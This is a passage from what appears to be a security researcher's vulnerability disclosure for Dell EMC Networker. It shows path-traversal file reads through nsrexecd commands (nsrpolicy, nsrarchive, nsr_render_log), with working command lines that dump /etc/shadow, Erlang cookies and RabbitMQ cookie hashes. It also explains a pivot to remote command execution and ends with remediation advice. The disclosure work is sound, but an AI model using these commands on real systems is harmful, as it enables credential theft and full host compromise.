121415:nsrpolicy: Command from file: operator:x:11:0:operator:/root:/sbin/nologin
121415:nsrpolicy: Command from file: games:x:12:100:games:/usr/games:/sbin/nologin
121415:nsrpolicy: Command from file: ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
121415:nsrpolicy: Command from file: nobody:x:99:99:Nobody:/:/sbin/nologin
121415:nsrpolicy: Command from file: systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
121415:nsrpolicy: Command from file: dbus:x:81:81:System message bus:/:/sbin/nologin
121415:nsrpolicy: Command from file: polkitd:x:999:998:User for polkitd:/:/sbin/nologin
121415:nsrpolicy: Command from file: rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
121415:nsrpolicy: Command from file: tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
121415:nsrpolicy: Command from file: rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
121415:nsrpolicy: Command from file: nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
121415:nsrpolicy: Command from file: sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
121415:nsrpolicy: Command from file: postfix:x:89:89::/var/spool/postfix:/sbin/nologin
121415:nsrpolicy: Command from file: chrony:x:998:995::/var/lib/chrony:/sbin/nologin
121415:nsrpolicy: Command from file: vagrant:x:1000:1000:vagrant:/home/vagrant:/bin/bash
121415:nsrpolicy: Command from file: nsrtomcat:x:1001:1001::/nsr/authc:/sbin/nologin
121415:nsrpolicy: Command from file: tcpdump:x:72:72::/:/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Windows hosts are also affected, here we demonstrate it by reading the remote system hosts file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client vagrant]# export RCMD='nsrpolicy input-file -f &quot;C:\\Windows\\System32\\drivers\\etc\\hosts&quot;'
[root@networker-client vagrant]# nsrexec -c 192.168.121.183 2&amp;gt;&amp;amp;1 | grep 'Command from file'
121415:nsrpolicy: Command from file: 
121415:nsrpolicy: Command from file: 192.168.121.92	networker-client1
121415:nsrpolicy: Command from file: 192.168.121.50	networker-client
121415:nsrpolicy: Command from file: 192.168.121.238	networker-server
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another command that caught our eye is &lt;strong&gt;nsrarchive&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;nsrarchive can archive files, directories, or entire filesystems to the NetWorker server (see nsr(8)).  The progress of an archive can be monitored using the Java based NetWorker Management  Console or  the curses(3X) based nsrwatch(8) program, depending on the terminal type.  Use of nsrarchive is restricted to users in NetWorker ‘administrator’ list or members of the ‘archive users’ list or to those who possess the ‘Archive Data’ privilege.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This command can take filenames as input, respectively:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-f filename The file from which to read  default directives (see nsr(5)).
-I input_file In addition to taking the paths for nsrarchive from the command line,\
a list of paths in the named input_file will be archived.\
The paths must be listed one per line.\
If no paths are specified on the command line, then only those paths specified in the input_file will be archived.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given that nsrarchive does not validate the received path, that it runs with root privileges, and that it prints out the file content on error, we can force it to print the content of sensitive files. In the example below, we make it dump the content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nsrarchive -s 127.0.0.1 -I '/etc/shadow' -T t
Finished reading the annotation string; beginning the archive process.
87651:nsrarchive: Cannot get status on path 'root:$1$REDACTED.::0:99999:7:::':
Aucun fichier ou dossier de ce type
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Windows hosts are also affected, here we demonstrate it by reading the remote system hosts file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export RCMD='nsrarchive -I &quot;C:\\Windows\\System32\\drivers\\etc\\hosts&quot; -T t'
nsrexec -c 192.168.121.183 | cut -d':' -f2 | sed 's/ No such file or directory [0-9 ]* //g' 
89922 1613751289 1 5 0 3588 2452 0 networker-win nsrarchive NSR notice 74 \nFinished reading the annotation string; beginning the archive process.\n 0
 %s. Continuing ...  1 24 184 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
# localhost name resolution is handled within DNS itself.
#    127.0.0.1       localhost
#    
192.168.121.92   networker-client1
192.168.121.50   networker-client
192.168.121.238  networker-server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;pivoting-from-information-leak-to-rce&quot;&gt;Pivoting from Information Leak to RCE&lt;/h5&gt;

&lt;p&gt;Looking for ways to gain greater control over the target with this information leak, we identified that Dell EMC Networker Server runs a RabbitMQ message broker service. As we can see in the diagram below, that service (TCP/5672, TCP/5671) is used by the Networker Management Console.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/networker_server_network_diagram.png&quot; alt=&quot;EMC Dell Networker Network Diagram excerpt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By default, RabbitMQ is configured for inter-node communication. This means it will expose two services on top of the existing AMQP service:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;epmd (for &lt;strong&gt;Erlang Port Mapping Daemon&lt;/strong&gt;)&lt;/li&gt;
  &lt;li&gt;eds (for &lt;strong&gt;Erlang Distribution Server&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These services will show up when you scan a Dell EMC Networker server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Host is up, received arp-response (0.000019s latency).
Scanned at 2020-11-24 17:54:41 CET for 165s
PORT      STATE SERVICE         REASON         VERSION
4369/tcp  open  epmd            syn-ack ttl 64 Erlang Port Mapper Daemon
5672/tcp  open  amqp            syn-ack ttl 64 RabbitMQ 3.2.4 (0-9)
44296/tcp open  unknown         syn-ack ttl 64
MAC Address: 52:54:00:84:E6:65 (QEMU virtual NIC)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that port 44296 corresponds to Erlang Distribution Server, and is randomly chosen everytime Erlang runtime is restarted.&lt;/p&gt;

&lt;h4 id=&quot;erlang-port-mapper-daemon&quot;&gt;Erlang Port Mapper Daemon&lt;/h4&gt;

&lt;p&gt;Erlang Port Mapping Daemon is a small additional daemon that runs alongside every RabbitMQ node and is used by the runtime to discover what port a particular node listens on for inter-node communication.&lt;/p&gt;

&lt;p&gt;Requesting the Erlang Distribution Server port from epmd can be done with the ‘epmd-info’ Nmap script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sV -p4369 --script epmd-info -Pn -n -vvv 192.168.121.4
 
Nmap scan report for 192.168.121.4
Host is up, received arp-response (0.00017s latency).
Scanned at 2020-11-24 17:56:35 CET for 7s
 
PORT     STATE SERVICE REASON         VERSION
4369/tcp open  epmd    syn-ack ttl 64 Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    rabbit: 44296
MAC Address: 52:54:00:84:E6:65 (QEMU virtual NIC)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;erlang-cookie&quot;&gt;Erlang Cookie&lt;/h4&gt;

&lt;p&gt;The Erlang distribution server is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this cookie is named “.erlang.cookie” and varies on location.&lt;/p&gt;

&lt;p&gt;On servers running Dell EMC Networker Server components, the file is &lt;strong&gt;/nsr/rabbitmq/.erlang.cookie&lt;/strong&gt; on Linux and &lt;strong&gt;C:\\Windows\\.erlang.cookie&lt;/strong&gt; on Windows. Given that we can leak that file content, we can gain remote command execution on the host by authenticating to the Erlang distribution service with that cookie.&lt;/p&gt;

&lt;p&gt;Below is a quick demonstration of what dumping the Erlang cookie (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JFBODSOEGHDUTBYQTYYZ&lt;/code&gt;) from a Windows host looks like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client ~]# export RCMD='nsrarchive -f &quot;C:\\Windows\\.erlang.cookie&quot; -T t'
[root@networker-client ~]# nsrexec -c 192.168.121.183
89922 1613751664 1 5 0 1752 2468 0 networker-win nsrarchive NSR notice
74 \nFinished reading the annotation string; beginning the archive process.\n 0
87298 1613751664 2 5 0 1752 2468 0 networker-win nsrarchive NSR warning 48
Ignoring illegal external ASM name '%s' in '%s'. 2 0 20 JFBODSOEGHDUTBYQTYYZ
23 25 C:\Windows\.erlang.cookie
89987 1613751725 2 5 0 1752 2468 0 networker-win nsrarchive NSR warning
48 Cannot determine the job ID: %s. Continuing ...
1 24 184 A connection attempt failed because the connected party did not properly respond after a period of time,
or established connection failed because connected host has failed to respond.
98519 1613751731 2 5 0 1752 2468 0 networker-win nsrarchive NSR warning
47 Unable to setup direct save with server %s: %s. 2 12 13 networker-win
49 85 12289 54 archive services have not been enabled for client `%s' 1 12 13 networker-win
90095 1613751731 2 3 17 1752 2468 0 networker-win nsrarchive RAP warning
36 Cannot open %s session with '%s': %s 3 20 10 nsrarchive 12 13 networker-win
49 85 12289 54 archive services have not been enabled for client `%s' 1 12 13 networker-win
0 1613751731 1 5 0 1752 2468 0 networker-win nsrarchive NSR notice
48 %s%s: %-*s%s%s%s %*s %2.2ld:%2.2ld:%2.2ld %6s %s 14 0 0  20 10
nsrarchive 1 1 0 23 2 C: 0 1   0 0  0 0  1 1 0 0 5 24 GB 30 1 0 30 1 0 30 1 0 36 8 51410848 0 5 files
12289 1613751731 2 3 17 4088 4084 0 networker-win nsrd RAP warning
54 archive services have not been enabled for client `%s' 1 12 13 networker-win
94693 1613751731 5 5 0 1752 2468 0 networker-win nsrarchive NSR critical
35 The backup of save set '%s' failed. 1 51 2 C:
7167 1613751731 1 5 0 1752 2468 0 networker-win nsrarchive NSR notice
22 %s completion time: %s 2 20 10 nsrarchive 35 20 2/19/2021 5:22:11 PM
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client ~]# export RCMD='nsrarchive -I &quot;C:\\Windows\\.erlang.cookie&quot; -T t'
[root@networker-client ~]# nsrexec -c 192.168.121.183
89922 1613751745 1 5 0 2084 2620 0 networker-win nsrarchive NSR notice
74 \nFinished reading the annotation string; beginning the archive process.\n 0
89987 1613751805 2 5 0 2084 2620 0 networker-win nsrarchive NSR warning
48 Cannot determine the job ID: %s. Continuing ...  1 24 184 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
6999 1613751805 5 1 0 2084 2620 0 networker-win nsrarchive SYSTEM critical
29 %s: No such file or directory 1 0 20 JFBODSOEGHDUTBYQTYYZ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Below is a quick demonstration of what dumping the Erlang cookie (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XXEKXJXWOSTUZKOFMHJG&lt;/code&gt;) from a Linux host looks like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client usr]# export RCMD=&quot;nsrarchive -f '/nsr/rabbitmq/.erlang.cookie' -T t .&quot;
[root@networker-client usr]# nsrexec -c 192.168.121.238
89922 1613660453 1 5 0 2354841408 8608 0 networker-server nsrarchive NSR notice
74 \nFinished reading the annotation string; beginning the archive process.\n 0
87298 1613660453 2 5 0 2354841408 8608 0 networker-server nsrarchive NSR warning
48 Ignoring illegal external ASM name '%s' in '%s'. 2 0 20 XXEKXJXWOSTUZKOFMHJG 23 28 /nsr/rabbitmq/.erlang.cookie
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client vagrant]# export RCMD=&quot;nsrarchive -I '/nsr/rabbitmq/.erlang.cookie' -T t .&quot;
[root@networker-client vagrant]# nsrexec -c 192.168.121.238
89922 1613752006 1 5 0 1774774080 10825 0 networker-server nsrarchive NSR notice
74 \nFinished reading the annotation string; beginning the archive process.\n 0
89987 1613752066 2 5 0 1774774080 10825 0 networker-server nsrarchive NSR warning
48 Cannot determine the job ID: %s. Continuing ...  1 24 20 Connection timed out
87651 1613752066 5 1 2 1774774080 10825 0 networker-server nsrarchive SYSTEM critical
34 Cannot get status on path '%s': %s 2 23 20 XXEKXJXWOSTUZKOFMHJG 24 25 No such file or directory
98519 1613752066 2 5 0 1774774080 10825 0 networker-server nsrarchive NSR warning
47 Unable to setup direct save with server %s: %s. 2 12 16 networker-server 49 88 12289
54 archive services have not been enabled for client `%s' 1 12 16 networker-server
90018 1613752066 2 3 17 1774774080 10825 0 networker-server nsrarchive RAP warning
55 Cannot open a %s session with NetWorker server '%s': %s 3 20 10 nsrarchive 12 16 networker-server
49 88 12289 54 archive services have not been enabled for client `%s' 1 12 16 networker-server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With nsrpolicy, the Erlang cookie cannot be read directly due to file format limitations:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-server ~]# export RCMD=&quot;nsrpolicy input-file -f /nsr/rabbitmq/.erlang.cookie&quot;
[root@networker-server ~]# nsrexec -c 192.168.121.238
The syntax of this command is:
nsrpolicy input-file
 --file_name               -f &amp;lt;file name&amp;gt;
[--stop_on_error           -S &amp;lt;0/1; default:0 (Do not stop)&amp;gt;]
[--debug                   -D &amp;lt;debug level&amp;gt;]
[--help                    -h]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client ~]# export RCMD=&quot;nsrpolicy input-file -f C:\Windows\.erlang.cookie&quot;
[root@networker-client ~]# nsrexec -c 192.168.121.183
The syntax of this command is:
nsrpolicy input-file
 --file_name               -f &amp;lt;file name&amp;gt;
[--stop_on_error           -S &amp;lt;0/1; default:0 (Do not stop)&amp;gt;]
[--debug                   -D &amp;lt;debug level&amp;gt;]
[--help                    -h]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, we can leak the hash from RabbitMQ logs and crack it using &lt;a href=&quot;https://github.com/gteissier/erl-matter&quot;&gt;dedicated tools&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-server ~]# export RCMD=&quot;nsrpolicy input-file -f /opt/nsr/rabbitmq-server-3.2.4/var/log/rabbitmq/rabbit@networker-server.log&quot;
[root@networker-server ~]# nsrexec -c 192.168.121.238 2&amp;gt;&amp;amp;1 | grep Command
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 22-Feb-2021::13:32:46 ===
121415:nsrpolicy: Command from file: Starting RabbitMQ 3.2.4 on Erlang R16B03-1
121415:nsrpolicy: Command from file: Copyright (C) 2007-2013 GoPivotal, Inc.
121415:nsrpolicy: Command from file: Licensed under the MPL.  See http://www.rabbitmq.com/
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 22-Feb-2021::13:32:46 ===
121415:nsrpolicy: Command from file: node           : rabbit@networker-server
121415:nsrpolicy: Command from file: home dir       : /nsr/rabbitmq
121415:nsrpolicy: Command from file: config file(s) : (none)
121415:nsrpolicy: Command from file: cookie hash    : gOc/cQw7eTfGpOhV+okBXQ==
121415:nsrpolicy: Command from file: log            : /opt/nsr/rabbitmq-server-3.2.4/sbin/../var/log/rabbitmq/rabbit@networker-server.log
121415:nsrpolicy: Command from file: sasl log       : /opt/nsr/rabbitmq-server-3.2.4/sbin/../var/log/rabbitmq/rabbit@networker-server-sasl.log
121415:nsrpolicy: Command from file: database dir   : /opt/nsr/rabbitmq-server-3.2.4/sbin/../var/lib/rabbitmq/mnesia/rabbit@networker-server
121415:nsrpolicy: Command from file:
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client ~]# export RCMD=&quot;nsrpolicy input-file -f C:\Windows\System32\config\systemprofile\AppData\Roaming\RabbitMQ\log\rabbit@NETWORKER-WIN.log&quot;
[root@networker-client ~]# nsrexec -c 192.168.121.183 2&amp;gt;&amp;amp;1 | grep Command
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 19-Feb-2021::11:29:07 ===
121415:nsrpolicy: Command from file: Starting RabbitMQ 3.2.4 on Erlang R16B03-1
121415:nsrpolicy: Command from file: Copyright (C) 2007-2013 GoPivotal, Inc.
121415:nsrpolicy: Command from file: Licensed under the MPL.  See http://www.rabbitmq.com/
121415:nsrpolicy: Command from file:
121415:nsrpolicy: Command from file: =INFO REPORT==== 19-Feb-2021::11:29:07 ===
121415:nsrpolicy: Command from file: node           : rabbit@NETWORKER-WIN
121415:nsrpolicy: Command from file: home dir       : C:\Windows
121415:nsrpolicy: Command from file: config file(s) : (none)
121415:nsrpolicy: Command from file: cookie hash    : 2HOFPWBXNZ3XmdRzs2x+cQ==
121415:nsrpolicy: Command from file: log            : C:/Windows/system32/config/systemprofile/AppData/Roaming/RabbitMQ/log/rabbit@NETWORKER-WIN.log
121415:nsrpolicy: Command from file: sasl log       : C:/Windows/system32/config/systemprofile/AppData/Roaming/RabbitMQ/log/rabbit@NETWORKER-WIN-sasl.log
121415:nsrpolicy: Command from file: database dir   : c:/Windows/system32/config/systemprofile/AppData/Roaming/RabbitMQ/db/rabbit@NETWORKER-WIN-mnesia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;More details about getting RCE via the Erlang distribution port can be found in [&lt;a href=&quot;#ref1&quot;&gt;1&lt;/a&gt;], [&lt;a href=&quot;#ref2&quot;&gt;2&lt;/a&gt;], and [&lt;a href=&quot;#ref3&quot;&gt;3&lt;/a&gt;].&lt;/p&gt;

&lt;h4 id=&quot;a-note-on-exploitability&quot;&gt;A note on exploitability&lt;/h4&gt;

&lt;p&gt;In order to pivot from arbitrary file read to remote command execution, one needs
to be able to reach the Erlang distribution port. This port is randomly chosen
every time the Erlang runtime starts up, but can be requested from the Erlang Port
Mapper Daemon (epmd) exposed on port TCP/4369. We noted that on recent versions of Networker, the port was always set to 25672, which is in line with recent versions of RabbitMQ.&lt;/p&gt;

&lt;p&gt;If a firewall is in place and that this firewall follows the rules advised by the
Dell EMC Networker Security Configuration Guide, then gaining remote command execution
through Erlang distribution won’t be possible. This would still be exploitable from the host
itself as a local privilege escalation primitive though.&lt;/p&gt;

&lt;p&gt;Of course the arbitrary file read leaves plenty of other ways to compromise the target, such as dumping host users password hashes from /etc/shadow or reading the EMC Networker administrator password hash from /nsr/authc/data/authcdb.h2.db.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;arbitrary-file-read-with-nsr_render_log&quot;&gt;Arbitrary File Read with nsr_render_log&lt;/h3&gt;

&lt;p&gt;The ‘nsr_render_log’ command exposed by Dell EMC Networker nsrexecd service is
affected by a path traversal vulnerability. By abusing this flaw and existing
weaknesses in the oldauth/nsrauth authentication mechanisms, an unauthenticated
attacker could read sensitive files from any host exposing the nsrexecd service
(Dell EMC Networker Server, Dell EMC Networker Client, Dell EMC Networker Storage Node).&lt;/p&gt;

&lt;p&gt;On Dell EMC Networker Server, this path traversal can be turned into remote command
execution by taking advantage of Erlang runtime’s presence. Specifically, an attacker
can obtain the Erlang cookie value from a file stored on the remote system and use it
to establish an authenticated session to the remote Erlang daemon, therefore gaining
the ability to execute arbitrary commands on the remote system with elevated privileges.&lt;/p&gt;

&lt;h3 id=&quot;impact-2&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;An unauthenticated attacker can gain remote command execution with administrative
privileges (root on Linux, SYSTEM on Windows) on hosts where Dell EMC Networker Server
is installed.&lt;/p&gt;

&lt;p&gt;An unauthenticated attacker can gain remote access to any file on hosts where either
Dell EMC Networker Server, Dell EMC Networker Client, or Dell EMC Networker Storage Node
is installed.&lt;/p&gt;

&lt;p&gt;Note that by compromising a Networker server, an attacker would also gain access to information
stored on the filesystems of all Dell EMC Networker clients and storage nodes 
registered on that server.&lt;/p&gt;

&lt;h3 id=&quot;affected-products-2&quot;&gt;Affected Products&lt;/h3&gt;

&lt;p&gt;The following Dell EMC Networker products are affected:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Dell EMC Networker Server version &amp;gt;= 9.1.0.2 for Linux (remote arbitrary file read and RCE)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Server version &amp;gt;= 9.1.0.2 for Windows (remote arbitrary file read and RCE)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Storage Node version &amp;gt;= 9.1.0.2 for Linux (remote arbitrary file read)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Storage Node version &amp;gt;= 9.1.0.2 for Windows (remote arbitrary file read)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Storage Node &amp;gt;= 9.1.0.2 for HP-UX (remote arbitrary file read) *&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Storage Node &amp;gt;= 9.1.0.2 for Solaris (remote arbitrary file read) *&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Client version &amp;gt;= 9.1.0.2 for Linux (remote arbitrary file read)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Client version &amp;gt;= 9.1.0.2 for Windows (remote arbitrary file read)&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Client version &amp;gt;= 9.1.0.2 for Mac OSX (remote arbitrary file read) *&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Client version &amp;gt;= 9.1.0.2 for Solaris (remote arbitrary file read) *&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Client version &amp;gt;= 9.1.0.2 for AIX (remote arbitrary file read) *&lt;/li&gt;
  &lt;li&gt;Dell EMC Networker Client version &amp;gt;= 9.1.0.2 for HP-UX (remote arbitrary file read) *&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Please note that we could not test against versions prior to 9.1.0.2 for lack of availability. The latest version we tested against is version &lt;strong&gt;19.4.0.0.Build.25&lt;/strong&gt;, which is the latest stable version per Dell EMC.&lt;/p&gt;

&lt;p&gt;Items marked with a star are unconfirmed, but we are strongly confident that they’re also affected given that they share the same code base with the Linux version. Any product from Dell EMC that expose nsrexecd is most likely affected too.&lt;/p&gt;

&lt;h2 id=&quot;description-2&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;From the nsrexec manual page:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The  nsrexec  command  is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This description is misleading given that nsrexecd runs on every EMC Networker component (server, client, and storage node). We also would like to point out that by “commands”, they mean “networker commands” and not “arbitrary commands”. Networker commands are a limited subset of Networker binaries such as &lt;em&gt;savefs&lt;/em&gt; or &lt;em&gt;savegrp&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One command that caught our eye is &lt;strong&gt;nsr_render_log&lt;/strong&gt;. This command reads messages from the NetWorker log file provided as parameter, filters and renders them according to the command line options, and sends the output to stdout.&lt;/p&gt;

&lt;p&gt;In the example below, we run nsr_render_log on Networker host 192.168.121.137 to obtain tabulated logs from the daemon log file. It is nsr_render_log job of rendering timestamps, severity level, PID, etc from the raw file content.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client1 vagrant]# export RCMD='nsr_render_log /nsr/logs/daemon.raw'
[root@networker-client1 vagrant]# nsrexec -c 192.168.121.137
101040 30/11/20 10:26:45  1 3 0 1781430080 3928 0 networker-server nsrexecd RAP notice Generated new 'NW instance ID': 982b058f-00000004-a6d07aa0-5fc4c8e5-00015452-53cbca00 and keys for nsrauth RPC authentication. 
0 30/11/20 10:26:45  1 5 0 1781430080 3928 0 networker-server nsrexecd NSR notice @(#) Product:      NetWorker 
0 30/11/20 10:26:45  1 5 0 1781430080 3928 0 networker-server nsrexecd NSR notice @(#) Release:      9.1.0.2.Build.43 
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, given that nsr_render_log does not validate the received path and that it runs
with root privileges, we can force it to read any file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client1 vagrant]# export RCMD='nsr_render_log /etc/shadow'
[root@networker-client1 vagrant]# nsrexec -c 192.168.121.137
5 9 1 1 0 0 unknown unknown LOG unrendered root:$1$m.REDACTEDccI.::0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered bin:*:18353:0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered daemon:*:18353:0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered adm:*:18353:0:99999:7:::
5 9 1 1 0 0 unknown unknown LOG unrendered lp:*:18353:0:99999:7:::
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Windows hosts are also affected, here we demonstrate it by reading the remote system hosts file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@networker-client1 vagrant]# export RCMD='nsr_render_log &quot;C:\\Windows\\System32\\drivers\\etc\\hosts&quot;'
[root@networker-client1 vagrant]# nsrexec -c 192.168.121.182
5  1 1 0 0 unknown unknown LOG unrendered # Copyright (c) 1993-2009 Microsoft Corp.
5  1 1 0 0 unknown unknown LOG unrendered #
5  1 1 0 0 unknown unknown LOG unrendered # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
Unable to render the following message: # Copyright (c) 1993-2009 Microsoft Corp.
Unable to render the following message: #
Unable to render the following message: # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;recommendations-to-networker-administrators&quot;&gt;Recommendations to Networker Administrators&lt;/h3&gt;

&lt;p&gt;Fix your Dell EMC Networker by following the Dell EMC Networker Security Guidelines to the letter. Do not allow oldauth, limit exposure of nsrexecd with strong firewall rules, and IP whitelisting in Networker config, provision NSRLA entries &lt;em&gt;prior&lt;/em&gt; to running nodes.&lt;/p&gt;

&lt;h3 id=&quot;recommendations-to-dell&quot;&gt;Recommendations to Dell&lt;/h3&gt;

&lt;p&gt;We recommend Dell EMC to protect the nsrexecd service against path traversal by fixing the
nsr_render_log binary so that it verifies that the file being read is in fact a Dell
